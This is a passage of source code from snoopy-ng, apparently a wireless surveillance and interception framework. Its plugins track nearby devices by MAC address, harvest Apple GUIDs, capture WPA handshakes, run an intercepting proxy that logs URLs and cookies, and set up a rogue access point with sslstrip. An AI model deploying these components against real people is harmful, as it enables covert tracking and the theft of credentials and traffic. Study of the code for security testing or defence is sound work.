os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"), 34 | transparent_proxy = dict (showhost=True, resolver = platform.resolver(), sslports = [443, 8443]) 35 | ) 36 | 37 | 38 | state = flow.State() 39 | server = proxy.ProxyServer(config, self.port) 40 | self.m = MyMaster(server, state) 41 | 42 | 43 | def run(self): 44 | logging.info("Plugin %s%s%s started proxy on port %s%s%s" % (GR,self.fname,G,GR,self.port,G)) 45 | self.m.run() 46 | 47 | def is_ready(self): 48 | #Perform any functions that must complete before plugin runs 49 | return True 50 | 51 | def stop(self): 52 | self.m.shutdown() 53 | 54 | @staticmethod 55 | def get_parameter_list(): 56 | info = {"info" : "This plugin runs a proxy server. It's useful in conjunction with iptables and rogueAP", 57 | "parameter_list" : [ ("port=","Port for proxy to listen on."), 58 | ("upprox=","Upstream proxy to use."), 59 | ("transparent=[True|False]","Set transparent mode. Default is False") 60 | ] 61 | } 62 | return info 63 | 64 | 65 | def get_data(self): 66 | """Ensure data is returned in the form of a SQL row.""" 67 | #e.g of return data - [("tbl_name", [{'var01':99, 'var02':199}] 68 | data = self.m.get_logs() 69 | toReturn = [] 70 | if data: 71 | for d in data: 72 | toReturn.append(d) 73 | return [("web_logs", toReturn)] 74 | else: 75 | return [] 76 | 77 | 78 | @staticmethod 79 | def get_tables(): 80 | """This function should return a list of table(s)""" 81 | 82 | table = Table('web_logs',MetaData(), 83 | Column('client_ip', String(length=15)), 84 | Column('host', String(length=40)), 85 | Column('path', String(length=20)), 86 | Column('full_url', String(length=20)), 87 | Column('method', String(length=20)), 88 | Column('port', String(length=20)), 89 | Column('timestamp', String(length=20)), 90 | Column('useragent', String(length=20)), 91 | Column('cookies', String(length=20)), 92 | Column('sunc', Integer, default=0) 93 | ) 94 | 95 | #TODO: Need to pull MAC address out with mitm to incorporate below. 96 | table2 = Table('user_agents', MetaData(), 97 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 98 | Column('userAgent', String(128), primary_key=True, autoincrement=False)) #One device may have multiple browsers 99 | 100 | return [table] 101 | 102 | if __name__ == "__main__": 103 | Snoop().start() 104 | -------------------------------------------------------------------------------- /plugins/mods80211/__arp_geoloc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | import re 6 | from sqlalchemy import MetaData, Table, Column, String, Integer 7 | from scapy.all import ARP, Ether 8 | 9 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 10 | 11 | 12 | class Snarf(): 13 | """Grabs BSSID from arp frames (thanks Hubert)""" 14 | def __init__(self,**kwargs): 15 | self.device_bssids = {} 16 | 17 | @staticmethod 18 | def get_tables(): 19 | """Make sure to define your table here""" 20 | table = Table('bssid_arps', MetaData(), 21 | Column('mac', String(12), primary_key=True), 22 | Column('bssid', String(12), primary_key=True), 23 | Column('sunc', Integer, default=0)) 24 | return [table] 25 | 26 | def proc_packet(self, packet): 27 | if packet.haslayer(ARP) and packet.haslayer(Ether): 28 | mac = re.sub(':', '', packet.addr2) 29 | bssid = packet[Ether].dst 30 | if bssid != 'ff:ff:ff:ff:ff:ff': 31 | self.device_bssids[(mac, bssid)] = 0 32 | 33 | def get_data(self): 34 | tmp = [] 35 | sunc = [] 36 | for k, v in self.device_bssids.iteritems(): 37 | if v == 0: 38 | tmp.append( {"mac": k[0], "bssid": k[1]} ) 39 | sunc.append((k[0], k[1])) 40 | if sunc: 41 | for foo in sunc: 42 | mac, bssid = foo[:2] 43 | self.device_bssids[(mac, bssid)] = 1 44 | return ("bssid_arps", tmp) 45 | return [] 46 | -------------------------------------------------------------------------------- /plugins/mods80211/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/plugins/mods80211/__init__.py -------------------------------------------------------------------------------- /plugins/mods80211/apple_guids.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | import re 6 | from sqlalchemy import MetaData, Table, Column, Integer, String, Unicode 7 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 8 | from scapy.all import *#Dot11ProbeReq, Dot11Elt, TCP, addr2 9 | from base64 import b64encode 10 | from includes.common import snoop_hash 11 | from collections import OrderedDict 12 | import os 13 | from includes.fonts import * 14 | 15 | MAX_NUM_GUIDs = 1000 #Maximum number of mac:guid paris to keep in memory 16 | 17 | class Snarf(): 18 | """Apple devices emit a GUID when joining a network. This captures it.""" 19 | 20 | def __init__(self, **kwargs): 21 | self.apple_guids = OrderedDict() 22 | 23 | #Process passed parameters 24 | self.hash_macs = kwargs.get('hash_macs', False) 25 | self.verb = kwargs.get('verbose', 0) 26 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 27 | 28 | @staticmethod 29 | def get_tables(): 30 | """Make sure to define your table here""" 31 | table = Table('apple_guids', MetaData(), 32 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 33 | Column('guid', String(100), primary_key=True, autoincrement=False), 34 | Column('sunc', Integer, default=0)) 35 | return [table] 36 | 37 | def proc_packet(self, p): 38 | if p.haslayer(Ether) and p.haslayer(TCP) and hasattr(p[TCP], 'load'): 39 | data=p[TCP].load 40 | #mac = re.sub(':', '', p.addr2) 41 | mac = re.sub(':', '', p[Ether].src) 42 | if self.hash_macs == "True": 43 | mac = snoop_hash(mac) 44 | srl = re.search('(\$\w{8}-\w{4}-\w{4}-\w{4}-\w{13})', data) 45 | if srl: 46 | guid = srl.group(1) 47 | if (mac, guid) not in self.apple_guids: 48 | self.apple_guids[(mac, guid)] = 0 49 | if self.verb > 0: 50 | logging.info("Sub-plugin %s%s%s observed new GUID: %s%s(%s)%s" % (GR,self.fname,G,GR,guid,mac,G)) 51 | 52 | def get_data(self): 53 | tmp = [] 54 | todel = [] 55 | for k, v in self.apple_guids.iteritems(): 56 | if v == 0: 57 | tmp.append( {"mac": k[0], "guid": k[1]} ) 58 | todel.append((k[0], k[1])) 59 | 60 | # Reduce mac:guid data structure if it's getting too large 61 | if len(self.apple_guids) > MAX_NUM_GUIDs: 62 | logging.debug("MAC:GUID structure is large (%d), going to reduce by 50pc (-%d)" % (len(self.apple_guids),(int(0.5*MAX_NUM_GUIDs)))) 63 | for i in range(int(0.5 * MAX_NUM_GUIDs)): 64 | try: 65 | self.apple_guids.popitem(last = False) 66 | except KeyError: 67 | pass 68 | logging.debug("MAC:GUID structure is now %d" % len(self.apple_guids)) 69 | 70 | if len(todel) > 0: 71 | for foo in todel: 72 | mac, guid = foo[0], foo[1] 73 | self.apple_guids[(mac, guid)] = 1 74 | return [("apple_guids", tmp)] 75 | -------------------------------------------------------------------------------- /plugins/mods80211/prefilter/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/plugins/mods80211/prefilter/__init__.py -------------------------------------------------------------------------------- /plugins/mods80211/prefilter/prefilter.py: -------------------------------------------------------------------------------- 1 | from scapy.all import Dot11ProbeReq, Dot11Elt 2 | import re 3 | import logging 4 | 5 | def prefilter(p): 6 | #Sometimes tcpdump returns garbled probe-request data. This is 7 | # a dirty hack to try and detect those cases 8 | if p.haslayer(Dot11ProbeReq): 9 | if not re.match("[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]", p.addr2): 10 | logging.debug("Bad MAC address detected: %s" % p.addr2) 11 | return False 12 | else: 13 | if p[Dot11Elt].info != '': 14 | ssid = p[Dot11Elt].info 15 | try: 16 | ssid = ssid.decode('utf-8') 17 | except: 18 | logging.debug("Bad SSID detected: %s" % ssid) 19 | return False 20 | if len(ssid) == 0: 21 | return False 22 | 23 | return True #Default operation 24 | -------------------------------------------------------------------------------- /plugins/mods80211/wifi_aps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | import re 6 | from sqlalchemy import MetaData, Table, Column, Integer, String, Unicode, DateTime 7 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 8 | from scapy.all import Dot11Beacon, Dot11Elt 9 | from base64 import b64encode 10 | from includes.common import snoop_hash, printFreq 11 | import os 12 | from includes.fonts import * 13 | from includes.prox import prox 14 | from includes.fifoDict import fifoDict 15 | import datetime 16 | from includes.mac_vendor import mac_vendor 17 | 18 | #N.B If you change b64mode to False, you should probably change 19 | # the ssid colum to type Unicode. 20 | b64mode = False 21 | 22 | class Snarf(): 23 | """Extract BSSIDs (i.e. Access Points)""" 24 | 25 | def __init__(self, **kwargs): 26 | 27 | self.hash_macs = kwargs.get('hash_macs', False) 28 | proxWindow = kwargs.get('proxWindow', 300) 29 | self.verb = kwargs.get('verbose', 0) 30 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 31 | 32 | self.prox = prox(proxWindow=proxWindow, identName="mac", pulseName="num_beacons") 33 | self.ap_names = fifoDict() 34 | self.device_vendor = fifoDict() 35 | 36 | self.mv = mac_vendor() 37 | self.lastPrintUpdate = 0 38 | 39 | @staticmethod 40 | def get_tables(): 41 | """Make sure to define your table here""" 42 | table = Table('wifi_AP_obs', MetaData(), 43 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 44 | Column('first_obs', DateTime, primary_key=True, autoincrement=False), 45 | Column('last_obs', DateTime), 46 | Column('num_beacons', Integer), 47 | Column('sunc', Integer, default=0)) 48 | 49 | table2 = Table('wifi_AP_ssids', MetaData(), 50 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 51 | Column('ssid', String(100), primary_key=True, autoincrement=False), 52 | Column('sunc', Integer, default=0)) 53 | 54 | return [table, table2] 55 | 56 | def proc_packet(self, p): 57 | if p.haslayer(Dot11Beacon) and p[Dot11Elt].info != '' and re.match("[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]", p.addr2): 58 | mac = re.sub(':', '', p.addr2) 59 | timeStamp = datetime.datetime.fromtimestamp(int(p.time)) 60 | vendor = self.mv.lookup(mac[:6]) 61 | if self.hash_macs == "True": 62 | mac = snoop_hash(mac) 63 | if b64mode: 64 | ssid = b64encode(p[Dot11Elt].info) 65 | else: 66 | ssid = p[Dot11Elt].info.decode('utf-8', 'ignore') 67 | try: 68 | sig_str = -(256-ord(p.notdecoded[-4:-3])) #TODO: Use signal strength 69 | except: 70 | logging.error("Unable to extract signal strength") 71 | logging.error(p.summary()) 72 | 73 | self.prox.pulse(mac,timeStamp) 74 | self.ap_names.add((mac,ssid)) 75 | self.device_vendor.add((mac,vendor)) 76 | 77 | def get_data(self): 78 | proxSess = self.prox.getProxs() 79 | ap_names_rtn = [] 80 | for mac_ssid in self.ap_names.getNew(): 81 | mac,ssid = mac_ssid 82 | ap_names_rtn.append({"mac": mac, "ssid": ssid}) 83 | 84 | vendors = [] 85 | for mac_vendor in self.device_vendor.getNew(): 86 | mac, vendor = mac_vendor 87 | vendorShort = vendor[0] 88 | vendorLong = vendor[1] 89 | vendors.append({"mac": mac, "vendor": vendorShort, "vendorLong": vendorLong}) 90 | 91 | if proxSess and self.verb > 0 and abs(os.times()[4] - self.lastPrintUpdate) > printFreq: 92 | logging.info("Sub-plugin %s%s%s currently observing %s%d%s Access Points" % (GR,self.fname,G,GR,self.prox.getNumProxs(),G)) 93 | self.lastPrintUpdate = os.times()[4] 94 | 95 | 96 | data = [("wifi_AP_obs", proxSess), ("wifi_AP_ssids", ap_names_rtn), ("vendors",vendors)] 97 | return data 98 | -------------------------------------------------------------------------------- /plugins/mods80211/wifi_clients.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import collections 5 | import logging 6 | import re 7 | from sqlalchemy import MetaData, Table, Column, String, Integer, DateTime 8 | from includes.common import snoop_hash, printFreq 9 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 10 | from scapy.all import Dot11ProbeReq, Dot11Elt 11 | import datetime 12 | from includes.fonts import * 13 | import os 14 | from includes.prox import prox 15 | from includes.mac_vendor import mac_vendor 16 | from includes.fifoDict import fifoDict 17 | 18 | class Snarf(): 19 | """Observe WiFi client devices based on probe-requests emitted.""" 20 | 21 | def __init__(self, **kwargs): 22 | 23 | self.proxWindow = kwargs.get('proxWindow', 300) 24 | self.hash_macs = kwargs.get('hash_macs', False) 25 | self.verb = kwargs.get('verbose', 0) 26 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 27 | self.prox = prox(proxWindow=self.proxWindow, identName="mac", pulseName="num_probes", verb=0, callerName=self.fname) 28 | self.device_vendor = fifoDict(names=("mac", "vendor", "vendorLong")) 29 | self.client_ssids = fifoDict(names=("mac","ssid")) 30 | 31 | self.mv = mac_vendor() 32 | self.lastPrintUpdate = 0 33 | 34 | @staticmethod 35 | def get_tables(): 36 | """Make sure to define your table here""" 37 | table = Table('wifi_client_obs', MetaData(), 38 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 39 | Column('first_obs', DateTime, primary_key=True, autoincrement=False), 40 | Column('last_obs', DateTime), 41 | Column('num_probes', Integer), 42 | Column('sunc', Integer, default=0), 43 | ) 44 | 45 | table2 = Table('vendors', MetaData(), 46 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 47 | Column('vendor', String(20) ), 48 | Column('vendorLong', String(50) ), 49 | Column('sunc', Integer, default=0)) 50 | 51 | table3 = Table('wifi_client_ssids', MetaData(), 52 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 53 | Column('ssid', String(100), primary_key=True, autoincrement=False), 54 | Column('sunc', Integer, default=0)) 55 | 56 | return [table, table2, table3] 57 | 58 | def proc_packet(self,p): 59 | 60 | if not p.haslayer(Dot11ProbeReq): 61 | return 62 | timeStamp = datetime.datetime.fromtimestamp(int(p.time)) 63 | mac = re.sub(':', '', p.addr2) 64 | vendor = self.mv.lookup(mac[:6]) 65 | 66 | if self.hash_macs == "True": 67 | mac = snoop_hash(mac) 68 | 69 | try: 70 | sig_str = -(256-ord(p.notdecoded[-4:-3])) #TODO: Use signal strength 71 | except: 72 | #logging.error("Unable to extract signal strength") 73 | pass 74 | self.prox.pulse(mac, timeStamp) #Using packet time instead of system time allows us to read pcaps 75 | self.device_vendor.add((mac,vendor[0],vendor[1])) 76 | 77 | if p[Dot11Elt].info != '': 78 | ssid = p[Dot11Elt].info.decode('utf-8') 79 | ssid = re.sub("\n", "", ssid) 80 | if self.verb > 1 and len(ssid) > 0: 81 | logging.info("Sub-plugin %s%s%s noted device %s%s%s (%s%s%s) probing for %s%s%s" % (GR,self.fname,G,GR,mac,G,GR,vendor[0],G,GR,ssid,G)) 82 | if len(ssid) > 0: 83 | self.client_ssids.add((mac,ssid)) 84 | 85 | def get_data(self): 86 | """Ensure data is returned in the form (tableName,[colname:data,colname:data]) """ 87 | proxSess = self.prox.getProxs() 88 | vendors = self.device_vendor.getNew() 89 | ssid_list = self.client_ssids.getNew() 90 | 91 | if proxSess and self.verb > 0 and abs(os.times()[4] - self.lastPrintUpdate) > printFreq: 92 | logging.info("Sub-plugin %s%s%s currently observing %s%d%s client devices" % (GR,self.fname,G,GR,self.prox.getNumProxs(),G)) 93 | self.lastPrintUpdate = os.times()[4] 94 | 95 | data = [("wifi_client_obs",proxSess), ("vendors",vendors), ("wifi_client_ssids", ssid_list)] 96 | return data 97 | 98 | -------------------------------------------------------------------------------- /plugins/mods80211/wpa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | import re 6 | from sqlalchemy import MetaData, Table, Column, Integer, String, Unicode 7 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 8 | #from scapy.all import Dot11Beacon, Dot11Elt 9 | from collections import deque 10 | from includes.fonts import * 11 | import os 12 | import cpyrit.pckttools 13 | from base64 import b64encode 14 | 15 | class Snarf(): 16 | """Capture WPA handshakes""" 17 | 18 | def __init__(self, **kwargs): 19 | self.handshakes = deque() 20 | self.verb = kwargs.get('verbose', 0) 21 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 22 | self.cp = cpyrit.pckttools.PacketParser(new_ap_callback=None, new_auth_callback=self.auth_handler) 23 | 24 | def auth_handler(self, auth): 25 | if auth.station.ap.isCompleted(): 26 | json_eap = {"sta_mac": auth.station.mac, "ap_mac" : auth.station.ap.mac, "ssid": auth.station.ap.essid, "anonce": b64encode(auth.anonce), "snonce": b64encode(auth.snonce), "keymic": b64encode(auth.keymic), "keymic_frame": b64encode(auth.keymic_frame), "version": auth.version, "quality": auth.quality, "spread": auth.spread} 27 | self.handshakes.append(json_eap) 28 | if self.verb > 0: 29 | logging.info("Sub-plugin %s%s%s captured new handshake for %s%s%s" % (GR,self.fname,G,GR,auth.station.ap.essid, G)) 30 | 31 | @staticmethod 32 | def get_tables(): 33 | """Make sure to define your table here""" 34 | table = Table('wpa_handshakes', MetaData(), 35 | Column('ssid', String(64), primary_key=True), 36 | Column('ap_mac', String(12), primary_key=True, autoincrement=False), 37 | Column('sta_mac', String(12), primary_key=True, autoincrement=False), 38 | Column('anonce', String(50), primary_key=True, autoincrement=False), 39 | Column('snonce', String(50)), 40 | Column('keymic', String(24)), 41 | Column('keymic_frame', String(180)), 42 | Column('version', String(10)), 43 | Column('quality', Integer), 44 | Column('spread', Integer), 45 | Column('sunc', Integer, default=0)) 46 | return [table] 47 | 48 | def proc_packet(self, p): 49 | self.cp.parse_packet(p) 50 | 51 | 52 | def get_data(self): 53 | rtnData=[] 54 | while self.handshakes: 55 | rtnData.append(self.handshakes.popleft()) 56 | if rtnData: 57 | return [("wpa_handshakes", rtnData)] 58 | -------------------------------------------------------------------------------- /plugins/rogueAP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | from sqlalchemy import Float, DateTime, String, Integer, Table, MetaData, Column #As required 6 | from threading import Thread 7 | logging.basicConfig(level=logging.DEBUG, 8 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 9 | datefmt='%Y-%m-%d %H:%M:%S') 10 | import time 11 | from collections import deque 12 | from random import randint 13 | import datetime 14 | from threading import Thread 15 | import os 16 | from includes.fonts import * 17 | from includes.rogee import * 18 | 19 | class Snoop(Thread): 20 | """Rogue Access Point.""" 21 | def __init__(self, **kwargs): 22 | Thread.__init__(self) 23 | self.RUN = True 24 | 25 | # Process arguments passed to module 26 | self.verb = kwargs.get('verbose', 0) 27 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 28 | self.myRogue = rogueAP(**kwargs) 29 | 30 | def run(self): 31 | self.myRogue.run_ap() 32 | self.myRogue.run_dhcpd() 33 | self.myRogue.do_nat() 34 | 35 | time.sleep(2) 36 | if not self.myRogue.all_OK(): 37 | logging.error("Something's gone wrong with the Rogue AP. Probably try restarting things.") 38 | 39 | while self.RUN: 40 | time.sleep(2) 41 | 42 | def is_ready(self): 43 | #Perform any functions that must complete before plugin runs 44 | if not self.myRogue.all_OK(): 45 | return False 46 | return True 47 | 48 | def stop(self): 49 | self.RUN = False 50 | self.myRogue.shutdown() 51 | 52 | @staticmethod 53 | def get_parameter_list(): 54 | info = {"info" : "Create a rogue access point.", 55 | "parameter_list" : [ ("ssid=","The SSID of the acces point."), 56 | ("promis=[True|False]","Set promiscuous mode (respond to all probe requests)."), 57 | ("run_dhcp=[True|False]","Run a DHCP server."), 58 | ("local_nat=[True|False]","Run local NAT to route traffic out."), 59 | ("hostapd=[True|False]","Use hostapd instead of airbase-ng."), 60 | ("hapdconf=","Specify the hostapd config file to use."), 61 | ("hapdcmd=","Specify the hostapd binary to use."), 62 | ("sslstrip=[True|False]","Send traffic through Moxie's SSL strip.") 63 | ] 64 | } 65 | return info 66 | 67 | 68 | def get_data(self): 69 | """Ensure data is returned in the form of a SQL row.""" 70 | data = self.myRogue.get_new_leases() + self.myRogue.get_ssl_data() 71 | return data 72 | 73 | @staticmethod 74 | def get_tables(): 75 | """This function should return a list of table(s)""" 76 | 77 | table = Table('dhcp_leases',MetaData(), 78 | Column('leasetime', Integer), 79 | Column('mac', String(12), primary_key=True), 80 | Column('ip', String(length=20), primary_key=True, autoincrement=False), 81 | Column('hostname', String(length=20)), 82 | Column('sunc', Integer, default=0)) #Omit this if you don't want to sync 83 | 84 | ssl_strip = Table('sslstrip', MetaData(), 85 | Column('date', DateTime), 86 | Column('domain', String(60)), 87 | Column('key', String(40)), 88 | Column('value', String(200)), 89 | Column('url', String(255)), 90 | Column('client', String(15)), 91 | Column('sunc', Integer, default=0)) 92 | 93 | return [table, ssl_strip] 94 | 95 | if __name__ == "__main__": 96 | Snoop().start() 97 | -------------------------------------------------------------------------------- /plugins/run_log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | from sqlalchemy import Float, DateTime, String, Integer, Table, MetaData, Column #As required 6 | from threading import Thread 7 | logging.basicConfig(level=logging.DEBUG, 8 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 9 | datefmt='%Y-%m-%d %H:%M:%S') 10 | import time 11 | from collections import deque 12 | from random import randint 13 | import datetime 14 | from threading import Thread 15 | import datetime 16 | import json 17 | import os 18 | 19 | fname = os.path.splitext(os.path.basename(__file__))[0] 20 | 21 | class Snoop(Thread): 22 | """This plugin always runs, but the user is not notified about it.""" 23 | def __init__(self, **kwargs): 24 | Thread.__init__(self) 25 | self.RUN = True 26 | # Process arguments passed to module 27 | self.drone = kwargs.get('drone',"no_drone_name_supplied") 28 | self.run_id = kwargs.get('run_id', "no_run_id_supplied") 29 | self.location = kwargs.get('location', "no_location_supplied") 30 | plugs = kwargs.get('plugs') 31 | now = datetime.datetime.now() #.strftime("%Y-%m-%d %H:%M:%S") 32 | 33 | tmp_p = [] 34 | for p in json.loads(plugs): 35 | name = p['name'][8:] 36 | if name != fname: 37 | tmp_p.append(name) 38 | plugins = ",".join(tmp_p) 39 | 40 | """ 41 | plugs = json.loads(plugs) 42 | dd=[] 43 | for p in plugs: 44 | name = p['name'][8:] 45 | pas=[] 46 | for k,v in p['params'].iteritems(): 47 | pas.append("%s=%s" % (k,v)) 48 | fl = ",".join(pas) 49 | rtn = "" 50 | if fl: 51 | rtn = name + ":" + ",".join(pas) 52 | else: 53 | rtn = name 54 | if name != "run_log": 55 | dd.append(rtn) 56 | plugins = ",".join(dd) 57 | """ 58 | 59 | self.run_session = {"runn_id" : self.run_id, "drone" : self.drone, "location" : self.location, "start" : now, "end" : now, 'plugins':plugins, 'sunc':0 } 60 | 61 | 62 | def run(self): 63 | while self.RUN: 64 | time.sleep(1) 65 | 66 | def is_ready(self): 67 | return True 68 | 69 | def stop(self): 70 | self.RUN = False 71 | 72 | @staticmethod 73 | def get_parameter_list(): 74 | info = {"info" : "Creates a 'session' identifier, noting the start and end time of running the program.", 75 | "parameter_list" : None 76 | } 77 | return info 78 | 79 | def get_data(self): 80 | """Ensure data is returned in the form of a SQL row.""" 81 | self.run_session['end'] = datetime.datetime.now() #.strftime("%Y-%m-%d %H:%M:%S") 82 | return [("sessions", [self.run_session])] 83 | 84 | @staticmethod 85 | def get_tables(): 86 | """This function should return a list of table(s)""" 87 | run = Table('sessions', MetaData(), 88 | Column('runn_id', Integer, primary_key=True), 89 | Column('location', String(length=60)), 90 | Column('drone', String(length=200)), 91 | Column('start', DateTime), 92 | Column('end', DateTime), 93 | Column('plugins', String(length=200)), 94 | Column('sunc', Integer, default=0) 95 | ) 96 | 97 | return [run] 98 | 99 | if __name__ == "__main__": 100 | Snoop().start() 101 | -------------------------------------------------------------------------------- /plugins/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import logging 4 | from sqlalchemy import create_engine, MetaData, Table, Column, String,\ 5 | select, and_, Integer 6 | from collections import deque 7 | from sqlalchemy.exc import * 8 | from includes.common import * 9 | import includes.common as common 10 | import time 11 | from datetime import datetime 12 | from threading import Thread 13 | import inspect 14 | logging.basicConfig(level=logging.DEBUG, filename='/tmp/snoopy_server.log', 15 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 16 | datefmt='%Y-%m-%d %H:%M:%S') 17 | from includes import webserver 18 | import os 19 | from includes.fonts import * 20 | 21 | #from includes import xbeeserver #ProVersion 22 | 23 | #def get_plugins(): 24 | # filename = os.path.split(inspect.getfile(inspect.currentframe()))[1].replace(".py","") 25 | # pluginNames = common.get_plugins() 26 | # pluginNames.remove("server") 27 | # plugins = [] 28 | # for plug in pluginNames: 29 | # plug = "plugins." + plug 30 | # m = __import__(plug, fromlist="Snoop").Snoop 31 | # plugins.append(m) 32 | # return plugins 33 | 34 | def get_plugins(): 35 | filename = os.path.split(inspect.getfile(inspect.currentframe()))[1].replace(".py","") 36 | this_plugin = __import__("plugins." + filename, fromlist="Snoop").Snoop 37 | plugins = common.get_plugins() 38 | plugins.remove(this_plugin) 39 | return plugins 40 | 41 | class Snoop(Thread): 42 | def __init__(self, **kwargs): 43 | Thread.__init__(self) 44 | self.RUN = True 45 | self.setDaemon(True) 46 | # Process arguments passed to module 47 | self.port = kwargs.get('port',9001) 48 | self.ip = kwargs.get('ip','0.0.0.0') 49 | self.cert = kwargs.get('cert',None) 50 | self.cert_key = kwargs.get('cert_key',None) 51 | self.db = kwargs.get('dbms',None) 52 | 53 | self.verb = kwargs.get('verbose', 0) 54 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 55 | 56 | if self.db: 57 | self.metadata = MetaData(self.db) #If you need to access the db object. N.B Use for *READ* only. 58 | self.metadata.reflect() 59 | self.data = deque(maxlen=100000) 60 | 61 | def run(self): 62 | logging.info("Running webserver on '%s:%s'" % (self.ip,self.port)) 63 | webserver.run_webserver(self.port,self.ip,self.cert,self.cert_key,self.db) 64 | 65 | def is_ready(self): 66 | #Perform any functions that must complete before plugin runs 67 | return True 68 | 69 | def stop(self): 70 | self.RUN = False 71 | self._Thread__stop() #Ouch. Probably a bad approach. 72 | 73 | @staticmethod 74 | def get_parameter_list(): 75 | info = {"info" : "Runs a server - allowing local data to be synchronized remotely.", 76 | "parameter_list" : [("port=","The HTTP port to listen on."), 77 | ("cert=","The SSL certificate path (implies server will use HTTPS)."), 78 | ("cert_key=","The certificate key path (implies server will use HTTPS)."), 79 | ("xbee=","The XBee PIN to listen on (see Pro version).") 80 | ] 81 | } 82 | 83 | return info 84 | 85 | def get_data(self): 86 | new_data = webserver.poll_data() 87 | if new_data: 88 | logging.info("Plugin %s%s%s caught data for %s%d%s tables." % (GR,self.fname,G,GR,len(new_data),G)) 89 | return new_data 90 | 91 | @staticmethod 92 | def get_tables(): 93 | return [] 94 | 95 | if __name__ == "__main__": 96 | Snoop().start() 97 | -------------------------------------------------------------------------------- /plugins/sysinfo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | import sqlalchemy as sa 6 | from threading import Thread 7 | import time 8 | import includes.system_info as sysinfo 9 | import os 10 | from includes.fonts import * 11 | import datetime 12 | #logging.basicConfig(level=logging.DEBUG) 13 | 14 | class Snoop(Thread): 15 | def __init__(self, **kwargs): 16 | Thread.__init__(self) 17 | self.RUN = True 18 | self.last_heartbeat = 0 19 | #self.heartbeat_freq = 60*30 # Check system every n seconds 20 | self.system_statuses = [] 21 | 22 | self.verb = kwargs.get('verbose', 0) 23 | self.heartbeat_freq = int(kwargs.get('freq', 60*30)) 24 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 25 | 26 | def is_ready(self): 27 | """Indicates the module is ready, and loading of next module may commence.""" 28 | return True 29 | 30 | def stop(self): 31 | """Perform operations required to stop module and return""" 32 | self.RUN = False 33 | 34 | @staticmethod 35 | def get_parameter_list(): 36 | """List of paramters that can be passed to the module, for user help output.""" 37 | info = {"info" : "Retrieves system information, every 30 minutes.", 38 | "parameter_list" : None 39 | } 40 | return info 41 | 42 | def get_data(self): 43 | """Ensure data is returned in the form of a SQL row.""" 44 | tmp_to_return = self.system_statuses 45 | self.system_statuses = [] 46 | return tmp_to_return 47 | 48 | def run(self): 49 | logging.info("Plugin %s%s%s will check device status every %s%d%s seconds." % (GR,self.fname,G, GR,self.heartbeat_freq,G)) 50 | while self.RUN: 51 | #now = int(time.time()) 52 | now = int(os.times()[4]) 53 | if abs(now - self.last_heartbeat) > self.heartbeat_freq: 54 | logging.debug("Checking system status") 55 | self.last_heartbeat = now 56 | global_stats = sysinfo.query_system_status() 57 | busy_pids = sysinfo.fetch_busy_processes() 58 | 59 | timeStamp = datetime.datetime.now() 60 | #global_stats['drone'] = self.drone 61 | global_stats['timestamp'] = timeStamp #int(time.time()) 62 | 63 | for pid in busy_pids: 64 | #pid['drone'] = self.drone 65 | pid['timestamp'] = timeStamp #now 66 | 67 | if self.verb > 0: 68 | logging.info("Plugin %s%s%s generated new data." % (GR,self.fname,G)) 69 | 70 | if global_stats: 71 | self.system_statuses.append( ('sys_global',[global_stats]) ) 72 | if busy_pids: 73 | self.system_statuses.append( ('sys_bpids', busy_pids) ) 74 | time.sleep(2) 75 | 76 | @staticmethod 77 | def get_tables(): 78 | """Return the table definitions for this module.""" 79 | # Make sure to define your table here. Ensure you have a 'sunc' column: 80 | metadata = sa.MetaData() 81 | table_global = sa.Table('sys_global',metadata, 82 | #sa.Column('drone', sa.String(length=20), primary_key=True), 83 | sa.Column('timestamp', sa.DateTime, primary_key=True, autoincrement=False), 84 | 